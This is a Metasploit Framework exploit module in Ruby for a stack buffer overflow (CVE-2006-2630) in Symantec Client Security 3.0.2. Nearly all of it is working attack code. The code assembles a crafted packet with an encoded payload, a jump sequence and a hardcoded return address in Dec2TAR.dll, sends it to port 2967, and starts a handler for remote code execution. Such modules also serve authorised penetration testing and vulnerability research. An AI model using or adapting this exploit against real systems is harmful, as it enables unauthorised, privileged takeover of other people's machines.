##
# $Id: symantec_rtvscan.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Symantec Remote Management Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Symantec Client Security 3.0.x.
This module has only been tested against Symantec Client Security 3.0.2
build 10.0.2.2000.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9262 $',
'References' =>
[
['CVE', '2006-2630'],
['OSVDB', '25846'],
['BID', '18107'],
['URL', 'http://research.eeye.com/html/advisories/published/AD20060612.html'],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Platform' => 'win',
'Targets' =>
[
[ 'SCS 3.0.2 build 10.0.2.2000', { 'Ret' => 0x69985624 } ], # Dec2TAR.dll
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 24 2006'))
register_options(
[
Opt::RPORT(2967)
], self.class)
end
def exploit
connect
header = "\x01\x10\x0a\x20\x0a\x00\x00\x00"
header << "\x02\x18\x00\x01\x00\x00\x00\x00"
header << "\x00\x24\x00\x14\xb7\xc9\xd2\xd9"
header << "\x3e\x33\xef\x34\x25\x1f\x43\x00"
crufta = rand_text_alphanumeric(512)
cruftb = rand_text_alphanumeric(514)
cruftc = payload.encoded + rand_text_alphanumeric(513 - payload.encoded.length)
cruftd = rand_text_alphanumeric(495)
cruftd[479, 2] = "\xeb\x06"
cruftd[483, 4] = [target.ret].pack('V')
cruftd[487, 5] = [0xe8, -1000].pack('CV')
cruftd << rand_text_alphanumeric(21)
crufte = rand_text_alphanumeric(6) + "\x19\x00\x00\x00"
crufte << rand_text_alphanumeric(504) + "\x00\x00"
overflow = [ crufta.length ].pack('v') + crufta
overflow << [ cruftb.length ].pack('v') + cruftb
overflow << [ cruftc.length ].pack('v') + cruftc
overflow << [ cruftd.length ].pack('v') + cruftd
overflow << [ crufte.length ].pack('v') + crufte
sploit = header + overflow
print_status("Trying target #{target.name}...")
sock.put(sploit)
handler
disconnect
end
end